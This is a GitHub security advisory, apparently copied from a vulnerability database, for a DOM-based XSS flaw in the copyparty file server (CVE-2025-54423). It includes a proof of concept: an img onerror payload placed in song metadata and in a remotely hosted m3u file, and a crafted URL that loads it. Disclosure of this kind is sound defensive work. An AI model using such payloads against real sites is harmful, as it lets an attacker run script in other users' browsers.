ghsa-9q4r-x2hj-jmvr
Vulnerability from github
Published
2025-07-28 16:41
Modified
2025-07-29 12:34
Severity ?
VLAI Severity ?
Summary
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Details
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u
files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)>
- an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3u
with the following content. Host this file on an attacker-controlled web server.```m3u
EXTM3U
EXTINF:1,">
- ">
http://example.com/audio.mp3 ```
-
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 1.18.4" }, "package": { "ecosystem": "PyPI", "name": "copyparty" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.18.5" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-54423" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2025-07-28T16:41:44Z", "nvd_published_at": "2025-07-28T20:17:48Z", "severity": "MODERATE" }, "details": "### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim\u0027s browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n ```m3u\n #EXTM3U\n #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n http://example.com/audio.mp3\n ```\n\n2. Craft and share the malicious URL: \n\n ```\n http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.", "id": "GHSA-9q4r-x2hj-jmvr", "modified": "2025-07-29T12:34:32Z", "published": "2025-07-28T16:41:44Z", "references": [ { "type": "WEB", "url": "https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54423" }, { "type": "WEB", "url": "https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6" }, { "type": "PACKAGE", "url": "https://github.com/9001/copyparty" }, { "type": "WEB", "url": "https://github.com/9001/copyparty/releases/tag/v1.18.5" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "type": "CVSS_V3" } ], "summary": "copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…